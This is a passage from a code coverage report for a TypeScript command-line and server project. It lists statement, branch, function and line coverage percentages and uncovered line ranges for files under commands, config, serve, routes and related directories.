  set.ts           |   75.72 |    85.71 |      50 |   75.72 | 65-83,111-116     
  start.ts         |    85.8 |    82.17 |      88 |    85.8 | ...85,591-594,606 
  ...ure-format.ts |   93.65 |    82.45 |     100 |   93.65 | ...42,48-49,74-75 
  status.ts        |   78.57 |    59.25 |   66.66 |   78.57 | ...36-137,150-161 
  stop.ts          |   57.83 |    82.35 |      50 |   57.83 | ...3,74-76,85-111 
 ...nds/extensions |   88.85 |    87.91 |   87.09 |   88.85 |                   
  consent.ts       |   72.53 |    90.32 |   42.85 |   72.53 | ...86-142,157-163 
  disable.ts       |     100 |       90 |     100 |     100 | 30                
  enable.ts        |     100 |    91.66 |     100 |     100 | 38                
  install.ts       |   82.95 |    81.57 |      75 |   82.95 | ...96-199,202-211 
  link.ts          |     100 |      100 |     100 |     100 |                   
  list.ts          |     100 |     90.9 |     100 |     100 | 18                
  new.ts           |     100 |      100 |     100 |     100 |                   
  settings.ts      |   99.15 |      100 |   83.33 |   99.15 | 151               
  sources.ts       |   93.42 |    87.09 |   92.85 |   93.42 | ...4-66,96-98,167 
  uninstall.ts     |   74.57 |       40 |   66.66 |   74.57 | 45-47,60-67,70-73 
  update.ts        |   96.71 |    97.05 |     100 |   96.71 | 114-118           
  utils.ts         |   75.63 |    57.14 |     100 |   75.63 | ...30-134,136-140 
 ...les/mcp-server |       0 |        0 |       0 |       0 |                   
  example.ts       |       0 |        0 |       0 |       0 | 1-60              
 ...amples/starter |       0 |        0 |       0 |       0 |                   
  example.ts       |       0 |        0 |       0 |       0 | 1-64              
 src/commands/mcp  |   90.31 |    84.61 |   83.33 |   90.31 |                   
  add.ts           |    99.3 |    96.07 |     100 |    99.3 | 154-155           
  approve.ts       |   76.19 |     87.5 |   66.66 |   76.19 | ...,89-99,114-124 
  list.ts          |   93.15 |    84.84 |      80 |   93.15 | ...78-180,198-199 
  reconnect.ts     |   78.85 |    66.66 |   85.71 |   78.85 | 42-55,169-191     
  remove.ts        |     100 |       80 |     100 |     100 | 21-25             
 ...ommands/review |   88.85 |    88.82 |   89.38 |   88.85 |                   
  agent-prompt.ts  |   93.91 |    92.42 |   97.36 |   93.91 | ...2720,2875-2955 
  base-tree.ts     |   76.16 |    80.76 |   77.77 |   76.16 | ...50-371,373-386 
  capture-local.ts |      70 |     90.9 |      75 |      70 | 112-116,163-194   
  ...k-coverage.ts |   50.71 |       35 |   66.66 |   50.71 | ...40-245,279-289 
  cleanup.ts       |   89.81 |    84.68 |   84.61 |   89.81 | ...89-594,596-597 
  comment-body.ts  |   69.92 |     92.3 |   66.66 |   69.92 | ...18,145,147-152 
  ...ent-status.ts |   93.03 |    83.87 |   83.33 |   93.03 | 291,531-551       
  ...ose-review.ts |   97.05 |     93.1 |   97.29 |   97.05 | ...2788,2816-2838 
  cost-ledger.ts   |   94.52 |    96.46 |   78.57 |   94.52 | ...89-490,530-540 
  drive.ts         |   76.07 |    85.71 |   81.81 |   76.07 | ...90-492,497-499 
  extract-step.ts  |   91.36 |    90.62 |   88.88 |   91.36 | ...90-707,714-729 
  fetch-diff.ts    |   73.41 |      100 |   66.66 |   73.41 | 75-95             
  fetch-pr.ts      |   77.06 |    69.38 |   63.63 |   77.06 | ...01,423,459-464 
  findings.ts      |   91.19 |     91.5 |   96.29 |   91.19 | ...1143,1152-1153 
  issue-context.ts |    88.1 |    92.98 |   85.71 |    88.1 | 247-274           
  load-rules.ts    |   26.41 |      100 |   16.66 |   26.41 | ...41-153,155-156 
  match-remote.ts  |   85.54 |     92.3 |   66.66 |   85.54 | 67-72,131-136     
  meta.ts          |   76.84 |     91.3 |   66.66 |   76.84 | 91-96,115-130     
  mock-provider.ts |   95.44 |    90.25 |   89.47 |   95.44 | 145,690-709       
  parse-args.ts    |    99.4 |    95.16 |     100 |    99.4 | 472,645,701       
  plan-diff.ts     |    68.1 |      100 |   66.66 |    68.1 | 162-205           
  pr-context.ts    |   93.26 |    80.93 |     100 |   93.26 | ...1202,1264-1280 
  presubmit.ts     |   90.36 |    89.15 |      90 |   90.36 | ...50-751,837-867 
  ...ish-assets.ts |    81.3 |    82.22 |   85.71 |    81.3 | ...75-479,506-552 
  repo-context.ts  |   94.92 |    90.82 |     100 |   94.92 | ...67-368,376-377 
  ...ve-anchors.ts |   78.34 |    89.28 |      75 |   78.34 | ...83-188,200-217 
  run.ts           |   84.16 |    89.06 |   94.11 |   84.16 | ...88,604-652,665 
  save-artifact.ts |   90.25 |    83.33 |   94.11 |   90.25 | ...25-328,421-424 
  script-lint.ts   |   83.67 |    78.41 |   88.88 |   83.67 | ...59-773,775-797 
  submit.ts        |   85.01 |    86.36 |      90 |   85.01 | ...99,588,615-651 
  test-delta.ts    |   87.13 |    91.46 |      75 |   87.13 | 206-237,477-485   
  test-efficacy.ts |   88.04 |    84.12 |   95.45 |   88.04 | ...2602,2610-2630 
  test-plan.ts     |   91.44 |    91.39 |   89.47 |   91.44 | ...38-839,903-920 
 ...w/__fixtures__ |     100 |      100 |     100 |     100 |                   
  ...r-default.mjs |     100 |      100 |     100 |     100 |                   
  ...der-empty.mjs |     100 |      100 |     100 |     100 |                   
  ...der-named.mjs |     100 |      100 |     100 |     100 |                   
 ...nds/review/lib |   97.63 |     95.3 |   98.44 |   97.63 |                   
  agent-briefs.ts  |      99 |      100 |      50 |      99 | 746-747           
  ...t-identity.ts |     100 |      100 |     100 |     100 |                   
  anchors.ts       |     100 |    96.42 |     100 |     100 | ...39,175,184,231 
  assets.ts        |     100 |      100 |     100 |     100 |                   
  audit-layers.ts  |   98.67 |    96.15 |     100 |   98.67 | 288-290           
  authorization.ts |   93.02 |    94.11 |     100 |   93.02 | 152-158           
  budget.ts        |     100 |    97.89 |     100 |     100 | 805,845           
  coverage.ts      |   96.82 |    94.46 |     100 |   96.82 | ...95-496,536-547 
  deadline.ts      |    98.7 |    94.17 |     100 |    98.7 | 238,649,681,749   
  diff-flags.ts    |     100 |        0 |     100 |     100 | 63                
  diff-plan.ts     |   98.73 |    93.04 |     100 |   98.73 | ...41,264,290-291 
  disk.ts          |     100 |      100 |     100 |     100 |                   
  effort.ts        |     100 |      100 |     100 |     100 |                   
  gh.ts            |   89.09 |    95.31 |   77.77 |   89.09 | ...29,366-367,394 
  git.ts           |   97.64 |    95.65 |     100 |   97.64 | 180-181           
  heavy.ts         |     100 |      100 |     100 |     100 |                   
  inline-counts.ts |     100 |      100 |     100 |     100 |                   
  ...audit-gate.ts |     100 |    96.15 |     100 |     100 | 110               
  ledger.ts        |     100 |      100 |     100 |     100 |                   
  local-diff.ts    |   84.86 |    90.38 |     100 |   84.86 | ...63-473,475-483 
  ...ry-context.ts |   96.61 |    95.51 |     100 |   96.61 | ...47-450,496-499 
  merge-base.ts    |     100 |      100 |     100 |     100 |                   
  npm-toolchain.ts |   97.36 |    95.37 |     100 |   97.36 | ...86,409,770,787 
  path-rules.ts    |     100 |      100 |     100 |     100 |                   
  paths.ts         |   91.48 |       75 |     100 |   91.48 | 31-32,35-36       
  prompt-record.ts |   97.88 |    93.87 |     100 |   97.88 | 260-261,267       
  receipt.ts       |     100 |      100 |     100 |     100 |                   
  remote-match.ts  |   97.26 |    91.42 |     100 |   97.26 | 49-50             
  report.ts        |   94.89 |    93.75 |     100 |   94.89 | 207-211           
  ...ry-context.ts |     100 |    98.66 |     100 |     100 | 187               
  retirement.ts    |     100 |    93.07 |     100 |     100 | ...09-510,681,824 
  review-footer.ts |     100 |      100 |     100 |     100 |                   
  ...w-settings.ts |     100 |    94.73 |     100 |     100 | 79                
  roster.ts        |     100 |    95.45 |     100 |     100 | 136,154,199       
  shell-quote.ts   |     100 |      100 |     100 |     100 |                   
  stale-bundle.ts  |   98.11 |    94.11 |     100 |   98.11 | 416,457,497-498   
  test-utils.ts    |     100 |      100 |     100 |     100 |                   
  toolchain.ts     |     100 |      100 |     100 |     100 |                   
  transcripts.ts   |   96.59 |    94.68 |     100 |   96.59 | ...08,297-298,323 
  ...pace-scope.ts |     100 |    96.96 |     100 |     100 | 172               
  workspaces.ts    |     100 |    96.77 |     100 |     100 | 222,452,499,512   
  worktree.ts      |     100 |      100 |     100 |     100 |                   
 ...w/lib/platform |   95.48 |       75 |     100 |   95.48 |                   
  github.ts        |   95.23 |    74.28 |     100 |   95.23 | 25-28,210-211     
  registry.ts      |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...mands/sessions |   91.56 |    86.95 |   83.33 |   91.56 |                   
  common.ts        |     100 |      100 |     100 |     100 |                   
  list.ts          |   90.96 |    86.66 |   81.81 |   90.96 | 208-219,221-222   
 src/config        |   94.94 |    89.87 |   96.28 |   94.94 |                   
  ...l-fallback.ts |     100 |      100 |     100 |     100 |                   
  auth.ts          |   89.35 |    83.56 |     100 |   89.35 | ...97-298,314-315 
  ...eMcpImport.ts |   87.91 |    81.52 |     100 |   87.91 | ...63-371,453-454 
  compile-cache.ts |     100 |      100 |     100 |     100 |                   
  config.ts        |   89.12 |    88.69 |   83.78 |   89.12 | ...2497,2499-2507 
  ...cy-monitor.ts |   88.75 |    76.19 |     100 |   88.75 | ...3,90-92,98,101 
  ...ust-policy.ts |   83.02 |    88.88 |     100 |   83.02 | ...02-209,232-240 
  ...heme-names.ts |     100 |      100 |     100 |     100 |                   
  environment.ts   |    96.5 |    93.58 |      95 |    96.5 | ...85-586,640-641 
  ...le-watcher.ts |   90.86 |    83.65 |   95.83 |   90.86 | ...23-325,370,418 
  ...resh-state.ts |   90.57 |    97.29 |   93.75 |   90.57 | 137-142,146-152   
  ...ime-reload.ts |     100 |    69.69 |     100 |     100 | ...12-113,122-123 
  hot-reload.ts    |     100 |    89.13 |     100 |     100 | 47,172-178,238    
  keyBindings.ts   |    97.4 |       50 |     100 |    97.4 | 240-243           
  ...ngsAdapter.ts |     100 |    94.11 |     100 |     100 | 64                
  ...ig-watcher.ts |   95.17 |    83.05 |     100 |   95.17 | ...78,200,292-293 
  ...er-secrets.ts |   98.97 |    96.96 |     100 |   98.97 | 85                
  mcpApprovals.ts  |   96.55 |    95.55 |     100 |   96.55 | 223-224,229-231   
  mcpJson.ts       |     100 |      100 |     100 |     100 |                   
  mcpServers.ts    |   92.85 |     87.5 |     100 |   92.85 | 46-47             
  ...idersScope.ts |      95 |    94.73 |     100 |      95 | 11-12             
  ...abledTools.ts |     100 |      100 |     100 |     100 |                   
  ...comparison.ts |     100 |      100 |     100 |     100 |                   
  ...n-settings.ts |   99.15 |    93.75 |     100 |   99.15 | 63                
  sandboxConfig.ts |   93.33 |    93.33 |     100 |   93.33 | ...42-147,216-217 
  session-id.ts    |     100 |      100 |     100 |     100 |                   
  ...ings-cache.ts |   96.52 |    93.93 |     100 |   96.52 | 90-91,201-202     
  settings.ts      |   91.27 |    92.64 |      90 |   91.27 | ...1030,1032-1033 
  ...ingsSchema.ts |     100 |      100 |     100 |     100 |                   
  ...ngsWatcher.ts |   95.54 |    88.34 |     100 |   95.54 | ...28,277-278,293 
  ...d-env-keys.ts |     100 |      100 |     100 |     100 |                   
  ...l-settings.ts |     100 |      100 |     100 |     100 |                   
  ...paths-lite.ts |   89.47 |       88 |     100 |   89.47 | 43-44,53-54,56-57 
  ...precedence.ts |   98.79 |     92.3 |     100 |   98.79 | 62                
  ...tedFolders.ts |   92.53 |    93.47 |     100 |   92.53 | ...36-337,373-384 
 ...nfig/migration |   95.23 |    77.77 |   83.33 |   95.23 |                   
  index.ts         |   95.65 |     87.5 |     100 |   95.65 | 117-118           
  scheduler.ts     |   96.55 |    77.77 |     100 |   96.55 | 19-20             
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 ...ation/versions |   94.91 |      100 |     100 |   94.91 |                   
  ...-v2-shared.ts |     100 |      100 |     100 |     100 |                   
  v1-to-v2.ts      |   81.75 |      100 |     100 |   81.75 | ...28-229,231-247 
  v2-to-v3.ts      |     100 |      100 |     100 |     100 |                   
  v3-to-v4.ts      |     100 |      100 |     100 |     100 |                   
  v5-to-v4.ts      |      96 |      100 |     100 |      96 | 94-95,99          
 src/core          |     100 |      100 |     100 |     100 |                   
  auth.ts          |     100 |      100 |     100 |     100 |                   
  initializer.ts   |     100 |      100 |     100 |     100 |                   
  theme.ts         |     100 |      100 |     100 |     100 |                   
 src/dualOutput    |   75.08 |    67.64 |   71.42 |   75.08 |                   
  ...tputBridge.ts |   75.33 |    68.18 |   73.68 |   75.33 | ...09-410,418-421 
  ...utContext.tsx |     100 |      100 |     100 |     100 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-8               
 src/export        |       0 |        0 |       0 |       0 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-7               
 src/generated     |     100 |      100 |     100 |     100 |                   
  git-commit.ts    |     100 |      100 |     100 |     100 |                   
 src/hooks         |     100 |      100 |     100 |     100 |                   
  ...elete-hook.ts |     100 |      100 |     100 |     100 |                   
 src/i18n          |   85.98 |    81.92 |   89.65 |   85.98 |                   
  index.ts         |   73.45 |    77.77 |      90 |   73.45 | ...70-271,294-299 
  languages.ts     |   93.07 |     92.3 |   85.71 |   93.07 | ...35,164-169,184 
  ...nslateKeys.ts |     100 |      100 |     100 |     100 |                   
  ...lationDict.ts |   93.33 |    66.66 |     100 |   93.33 | 15                
 src/i18n/locales  |     100 |      100 |     100 |     100 |                   
  ca.js            |     100 |      100 |     100 |     100 |                   
  de.js            |     100 |      100 |     100 |     100 |                   
  en.js            |     100 |      100 |     100 |     100 |                   
  fr.js            |     100 |      100 |     100 |     100 |                   
  ja.js            |     100 |      100 |     100 |     100 |                   
  pt.js            |     100 |      100 |     100 |     100 |                   
  ru.js            |     100 |      100 |     100 |     100 |                   
  zh-TW.js         |     100 |      100 |     100 |     100 |                   
  zh.js            |     100 |      100 |     100 |     100 |                   
 ...nonInteractive |   80.98 |    77.27 |   84.12 |   80.98 |                   
  session.ts       |   84.97 |    76.31 |   96.07 |   84.97 | ...1048,1057-1067 
  types.ts         |    42.5 |      100 |   33.33 |    42.5 | ...31-632,635-636 
 ...active/control |   75.54 |    89.83 |      80 |   75.54 |                   
  ...rolContext.ts |    6.06 |        0 |       0 |    6.06 | 57-99             
  ...Dispatcher.ts |   91.95 |    92.98 |   88.88 |   91.95 | ...54-372,392,395 
  ...rolService.ts |    6.89 |        0 |       0 |    6.89 | 46-188            
 ...ol/controllers |   45.95 |    69.03 |   55.26 |   45.95 |                   
  ...Controller.ts |    42.4 |      100 |   83.33 |    42.4 | 101-105,140-223   
  ...Controller.ts |       0 |        0 |       0 |       0 | 1-56              
  ...Controller.ts |   55.01 |    67.14 |   58.33 |   55.01 | ...15-624,639-644 
  ...Controller.ts |   49.23 |       60 |      50 |   49.23 | ...07-108,111-121 
  ...Controller.ts |   40.64 |    68.11 |   46.66 |   40.64 | ...72-684,693-722 
 .../control/types |       0 |        0 |       0 |       0 |                   
  serviceAPIs.ts   |       0 |        0 |       0 |       0 | 1                 
 ...Interactive/io |   98.12 |    94.18 |   95.29 |   98.12 |                   
  ...putAdapter.ts |   97.98 |    93.23 |   98.07 |   97.98 | ...1416,1432-1433 
  ...putAdapter.ts |      96 |    91.66 |   85.71 |      96 | 51-52             
  ...nputReader.ts |     100 |    94.73 |     100 |     100 | 67                
  ...putAdapter.ts |   98.49 |      100 |   90.47 |   98.49 | 85-86,126-127     
  ...projection.ts |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
 src/patches       |       0 |        0 |       0 |       0 |                   
  is-in-ci.ts      |       0 |        0 |       0 |       0 | 1-17              
 src/remoteInput   |   87.31 |    75.32 |   88.23 |   87.31 |                   
  ...utContext.tsx |     100 |      100 |     100 |     100 |                   
  ...putWatcher.ts |   88.01 |       76 |   93.33 |   88.01 | ...49-350,361-364 
  index.ts         |       0 |        0 |       0 |       0 | 1-8               
 src/runtime       |   99.61 |    95.04 |     100 |   99.61 |                   
  ...livery-ipc.ts |     100 |     90.9 |     100 |     100 | 94,106,134        
  ...l-delivery.ts |     100 |      100 |     100 |     100 |                   
  cpu-percent.ts   |     100 |      100 |     100 |     100 |                   
  ...erver-name.ts |     100 |      100 |     100 |     100 |                   
  ...-constants.ts |     100 |      100 |     100 |     100 |                   
  ...-summaries.ts |   86.66 |       50 |     100 |   86.66 | 11,19             
  ...ber-errors.ts |     100 |    95.32 |     100 |     100 | 53,93-94,172,192  
  ...ls-mapping.ts |     100 |      100 |     100 |     100 |                   
 src/serve         |   88.12 |    84.48 |   90.94 |   88.12 |                   
  ...tp-enabled.ts |     100 |      100 |     100 |     100 |                   
  ...ion-bridge.ts |     100 |      100 |     100 |     100 |                   
  auth.ts          |   93.43 |    92.95 |     100 |   93.43 | ...20-321,324-326 
  ...em-adapter.ts |     100 |      100 |     100 |     100 |                   
  capabilities.ts  |     100 |    98.07 |     100 |     100 | 685               
  ...cp-command.ts |     100 |      100 |     100 |     100 |                   
  ...horization.ts |   92.79 |    93.33 |    87.5 |   92.79 | 75-80,135-136     
  ...op-mcp-ipc.ts |   81.06 |    73.68 |   94.11 |   81.06 | ...37-242,267,289 
  ...nt-service.ts |    94.1 |    86.89 |     100 |    94.1 | ...75-477,484,486 
  ...-selection.ts |     100 |      100 |     100 |     100 |                   
  ...ings-store.ts |   89.64 |    94.11 |   96.29 |   89.64 | ...57-269,521-524 
  ...ebhook-ipc.ts |    98.5 |    86.66 |     100 |    98.5 | 47                
  ...iagnostics.ts |     100 |      100 |     100 |     100 |                   
  ...worker-env.ts |     100 |      100 |     100 |     100 |                   
  ...rker-group.ts |   87.27 |     85.2 |     100 |   87.27 | ...10,816-820,838 
  ...er-manager.ts |   89.39 |    83.88 |   93.33 |   89.39 | ...98,711,722-724 
  ...horization.ts |     100 |      100 |     100 |     100 |                   
  ...tartup-ipc.ts |   97.72 |    96.66 |     100 |   97.72 | 88-89             
  ...supervisor.ts |   92.54 |    84.53 |   97.14 |   92.54 | ...1489,1543-1547 
  ...e-grouping.ts |     100 |    94.28 |     100 |     100 | 71,137            
  core-runtime.ts  |     100 |      100 |     100 |     100 |                   
  ...ub-session.ts |    90.1 |    77.83 |   94.73 |    90.1 | ...1014,1021-1026 
  ...tree-guard.ts |   92.89 |    87.55 |     100 |   92.89 | ...2766,2836-2840 
  daemon-logger.ts |   82.82 |    78.68 |   92.04 |   82.82 | ...1775,1802-1808 
  ...y-pressure.ts |     100 |    96.96 |     100 |     100 | 135               
  ...trics-ring.ts |     100 |      100 |     100 |     100 |                   
  ...s-provider.ts |   68.04 |    52.77 |     100 |   68.04 | ...44-249,282-290 
  daemon-status.ts |   98.58 |    90.88 |     100 |   98.58 | ...1438,1440-1441 
  debug-mode.ts    |     100 |      100 |     100 |     100 |                   
  env-snapshot.ts  |   93.37 |    85.18 |     100 |   93.37 | 114-117,195-202   
  ...-scheduler.ts |   87.34 |    83.87 |     100 |   87.34 | 33-36,48-50,79-81 
  ...d-provider.ts |   92.06 |    87.09 |     100 |   92.06 | ...72,287-293,316 
  ...h-settings.ts |   94.94 |    90.41 |     100 |   94.94 | ...30,708,724,734 
  fast-path.ts     |   90.99 |    81.38 |   95.45 |   90.99 | ...33-542,608-609 
  ...ration-sse.ts |   42.55 |    33.33 |     100 |   42.55 | 23-24,30,33-56    
  health-query.ts  |     100 |      100 |     100 |     100 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-144             
  ...e-observer.ts |   89.89 |    83.24 |      96 |   89.89 | ...11-512,541-543 
  ...back-binds.ts |     100 |    88.88 |     100 |     100 | 32                
  ...-workspace.ts |    90.9 |    85.71 |     100 |    90.9 | ...30-131,142-143 
  ...iders-edit.ts |     100 |    82.14 |     100 |     100 | 58-60,65,81       
  ...ory-picker.ts |     100 |    86.95 |     100 |     100 | 36,66,92          
  ...sion-audit.ts |     100 |      100 |   93.33 |     100 |                   
  rate-limit.ts    |   92.68 |    88.29 |     100 |   92.68 | ...89-291,303-305 
  ...qwen-serve.ts |   84.42 |    80.62 |    75.6 |   84.42 | ...7575,7581-7582 
  ...tup-errors.ts |     100 |      100 |     100 |     100 |                   
  ...-keepalive.ts |   94.25 |    88.99 |     100 |   94.25 | ...28,532-533,572 
  ...-lifecycle.ts |     100 |      100 |     100 |     100 |                   
  server.ts        |   90.96 |    91.34 |   72.32 |   90.96 | ...2731,2745-2749 
  ...-admission.ts |   98.24 |     94.8 |     100 |   98.24 | 79-80,303-304     
  ...on-helpers.ts |     100 |      100 |     100 |     100 |                   
  ...-redaction.ts |     100 |      100 |     100 |     100 |                   
  ...t-event-id.ts |     100 |    95.23 |     100 |     100 | 12                
  ...-admission.ts |   98.71 |    89.65 |     100 |   98.71 | 68                
  types.ts         |     100 |      100 |     100 |     100 |                   
  ...ion-limits.ts |     100 |      100 |     100 |     100 |                   
  ...t-sessions.ts |   93.72 |    77.93 |     100 |   93.72 | ...51,854,867-869 
  ...l-resolver.ts |   90.32 |    66.66 |     100 |   90.32 | 16,45-46          
  ...ell-static.ts |   92.18 |    88.37 |     100 |   92.18 | ...21-224,267-270 
  ...ace-agents.ts |   66.13 |    70.57 |   92.68 |   66.13 | ...2246,2256-2266 
  ...generation.ts |    95.4 |    82.35 |   66.66 |    95.4 | 55-56,78,92       
  ...-git-state.ts |     100 |    91.93 |    90.9 |     100 | 161,172,202,265   
  ...ace-inputs.ts |     100 |      100 |     100 |     100 |                   
  ...ace-memory.ts |      83 |    74.54 |     100 |      83 | ...30-537,597-604 
  ...ers-status.ts |   98.58 |       79 |     100 |   98.58 | 106,134,174,177   
  ...tion-store.ts |   89.67 |    88.27 |   92.59 |   89.67 | ...91-400,411-414 
  ...e-registry.ts |   93.89 |     87.5 |     100 |   93.89 | ...18-519,525-526 
  ...e-remember.ts |   98.23 |    92.56 |     100 |   98.23 | ...36,340-345,386 
  ...te-runtime.ts |   83.98 |    90.29 |     100 |   83.98 | ...48-156,216-237 
  ...me-storage.ts |     100 |      100 |     100 |     100 |                   
  ...management.ts |   72.63 |    72.72 |      96 |   72.63 | ...88-889,896-900 
  ...lls-status.ts |     100 |    95.45 |     100 |     100 | 152               
  ...reconciler.ts |   91.63 |    84.09 |     100 |   91.63 | ...71-273,306-307 
 ...serve/acp-http |   78.85 |    79.84 |    93.1 |   78.85 |                   
  ...r-registry.ts |   96.92 |    94.87 |     100 |   96.92 | 184-187           
  client-mcp-ws.ts |   54.85 |    58.62 |   72.72 |   54.85 | ...99-300,304-305 
  ...n-registry.ts |    98.2 |    88.55 |     100 |    98.2 | 1015,1041-1052    
  dispatch.ts      |   74.86 |    77.42 |   94.23 |   74.86 | ...5250,5298-5304 
  index.ts         |   82.23 |    80.11 |   91.07 |   82.23 | ...2341,2425-2426 
  json-rpc.ts      |     100 |    96.96 |     100 |     100 | 92                
  safe-ws-send.ts  |   52.94 |    71.42 |     100 |   52.94 | 33-42,47-55       
  sse-stream.ts    |   93.96 |    88.57 |   84.61 |   93.96 | ...57-159,161-163 
  ...ort-stream.ts |       0 |        0 |       0 |       0 | 1                 
  ws-stream.ts     |   91.86 |       80 |     100 |   91.86 | 45,50,96,100-103  
 src/serve/auth    |   86.86 |     79.7 |   93.87 |   86.86 |                   
  device-flow.ts   |   96.35 |    80.57 |   97.61 |   96.35 | ...1358,1453,1519 
  ...w-provider.ts |   44.24 |    74.07 |   71.42 |   44.24 | ...23-284,297,301 
 ...rve/cdp-tunnel |   87.73 |    76.21 |    97.5 |   87.73 |                   
  ...r-emulator.ts |   93.27 |    77.77 |     100 |   93.27 | ...53-256,282-283 
  ...verse-link.ts |      88 |    76.19 |     100 |      88 | ...28-329,420-423 
  ...l-registry.ts |     100 |      100 |     100 |     100 |                   
  cdp-ws.ts        |   76.28 |    61.29 |    87.5 |   76.28 | ...13-217,223-228 
 ...nel/acceptance |    6.12 |    57.89 |   46.15 |    6.12 |                   
  ...helpers.d.mts |       0 |        0 |       0 |       0 | 1                 
  ...e-helpers.mjs |   97.64 |    70.96 |     100 |   97.64 | 22-23             
  ...mcp-smoke.mjs |       0 |        0 |       0 |       0 | 1-124             
  ...cceptance.mjs |       0 |        0 |       0 |       0 | 1-473             
  ...re-server.mjs |       0 |        0 |       0 |       0 | 1-59              
  ...ols-smoke.mjs |       0 |        0 |       0 |       0 | 1-268             
  real-tab.mjs     |       0 |        0 |       0 |       0 | 1-218             
  ...al-chrome.mjs |       0 |        0 |       0 |       0 | 1-223             
 .../conversations |   92.81 |    90.51 |     100 |   92.81 |                   
  ...me-manager.ts |     100 |      100 |     100 |     100 |                   
  ...-workspace.ts |   88.26 |    82.53 |     100 |   88.26 | ...33-234,246-247 
  ...ion-source.ts |     100 |      100 |     100 |     100 |                   
 src/serve/fs      |   87.27 |    82.01 |     100 |   87.27 |                   
  audit.ts         |     100 |    96.15 |     100 |     100 | 204               
  errors.ts        |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...x-registry.ts |     100 |      100 |     100 |     100 |                   
  paths.ts         |   77.64 |    74.01 |     100 |   77.64 | ...65,594-598,611 
  policy.ts        |   90.52 |    89.18 |     100 |   90.52 | 172-180           
  text-cursor.ts   |   88.23 |       90 |     100 |   88.23 | 74-77,92-95       
  ...ile-system.ts |   87.37 |    81.39 |     100 |   87.37 | ...2811,2821-2822 
 src/serve/live    |   77.56 |    68.68 |   90.08 |   77.56 |                   
  ...en-context.ts |   95.74 |    81.25 |     100 |   95.74 | ...0,66-67,99-100 
  discovery.ts     |   85.77 |    76.92 |      90 |   85.77 | ...49-250,255-256 
  ...structions.ts |     100 |      100 |     100 |     100 |                   
  ...oordinator.ts |   82.67 |    76.75 |   97.01 |   82.67 | ...1319,1351-1353 
  ...-installer.ts |    64.3 |    82.35 |   80.76 |    64.3 | ...45-446,460-472 
  ...oordinator.ts |   75.99 |    65.18 |   85.71 |   75.99 | ...1883,1974-1975 
  ...controller.ts |   67.82 |    79.31 |   72.72 |   67.82 | ...66-278,287-295 
  ...ak-to-user.ts |   96.66 |      100 |   83.33 |   96.66 | 37-38             
  ...sk-service.ts |    86.3 |    59.78 |   93.33 |    86.3 | ...1160,1184-1191 
  ...task-tools.ts |      99 |      100 |   85.71 |      99 | 205-206           
  ...redentials.ts |   96.26 |    93.47 |     100 |   96.26 | 91-94             
  ...me-session.ts |   65.63 |    57.24 |   88.88 |   65.63 | ...2270,2275-2282 
  ...up-context.ts |   94.83 |    77.58 |     100 |   94.83 | ...18,327-330,350 
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/serve/routes  |   86.07 |    80.33 |   94.72 |   86.07 |                   
  a2ui-action.ts   |   96.84 |     88.5 |    87.5 |   96.84 | ...70-272,309-311 
  capabilities.ts  |   98.63 |    95.65 |     100 |   98.63 | 76                
  ...nel-notify.ts |   86.45 |       88 |     100 |   86.45 | ...,83-87,103-104 
  ...l-webhooks.ts |   93.56 |    84.09 |     100 |   93.56 | ...42,292,332,334 
  daemon-status.ts |   85.71 |    83.33 |     100 |   85.71 | 101-108           
  goals.ts         |   98.92 |     90.9 |     100 |   98.92 | 143               
  health.ts        |   99.09 |    91.17 |     100 |   99.09 | 147               
  live-setup.ts    |   33.33 |     37.5 |      50 |   33.33 | ...18-123,130-135 
  live.ts          |    82.4 |    71.42 |     100 |    82.4 | ...-94,96-101,121 
  permission.ts    |     100 |     92.3 |     100 |     100 | 50,98             
  ...uled-tasks.ts |   87.29 |    82.94 |   92.59 |   87.29 | ...1275,1318-1319 
  ...on-runtime.ts |     100 |    90.47 |     100 |     100 | 58,94             
  session.ts       |   87.07 |    82.14 |   90.41 |   87.07 | ...4985,4987-4988 
  sse-events.ts    |   86.85 |    85.64 |   94.11 |   86.85 | ...18-929,932,939 
  usage-stats.ts   |     100 |    95.45 |     100 |     100 | 118               
  ...space-auth.ts |   85.55 |    75.64 |     100 |   85.55 | ...21-326,331,345 
  ...el-control.ts |   86.26 |    78.94 |     100 |   86.26 | ...17-318,339-347 
  ...management.ts |   90.92 |    79.69 |     100 |   90.92 | ...81-482,501-502 
  ...d-contacts.ts |     100 |      100 |     100 |     100 |                   
  ...controller.ts |   83.11 |    79.31 |      90 |   83.11 | ...1033,1039,1042 
  ...extensions.ts |   88.15 |    74.95 |   92.98 |   88.15 | ...2027,2072-2073 
  ...-file-read.ts |      91 |    80.91 |     100 |      91 | ...20-621,624-625 
  ...file-write.ts |   89.58 |    79.16 |     100 |   89.58 | ...84,698-705,786 
  ...t-branches.ts |   75.43 |    66.66 |     100 |   75.43 | ...13-618,627-634 
  ...e-git-diff.ts |   97.32 |    90.56 |     100 |   97.32 | 161-162,189-191   
  ...ce-git-log.ts |     100 |    93.18 |     100 |     100 | 52,77,188         
  workspace-git.ts |   77.08 |    89.65 |     100 |   77.08 | 97-118            
  ...github-prs.ts |   88.26 |    63.46 |     100 |   88.26 | ...38-239,264-265 
  ...-lifecycle.ts |   95.23 |    75.75 |     100 |   95.23 | ...50-151,186-187 
  ...management.ts |   87.44 |    84.23 |     100 |   87.44 | ...1667,1687-1692 
  ...cp-control.ts |    73.2 |    67.54 |   85.71 |    73.2 | ...27-633,644-645 
  ...ace-models.ts |   95.53 |    89.74 |     100 |   95.53 | ...52-157,296-297 
  ...ermissions.ts |    77.9 |    72.41 |     100 |    77.9 | ...69-277,298-316 
  ...e-settings.ts |   75.04 |    72.99 |     100 |   75.04 | ...79-690,696-697 
  ...tup-github.ts |   77.97 |    70.58 |   84.21 |   77.97 | ...46-352,397-398 
  ...ace-skills.ts |    76.9 |    87.15 |     100 |    76.9 | ...29-354,360-394 
  ...ace-status.ts |   82.94 |     74.5 |     100 |   82.94 | ...84-486,490-491 
  ...pace-tools.ts |   75.94 |    69.69 |   66.66 |   75.94 | ...59-164,193-194 
  ...pace-trust.ts |   78.92 |    66.21 |      80 |   78.92 | ...38-343,351-352 
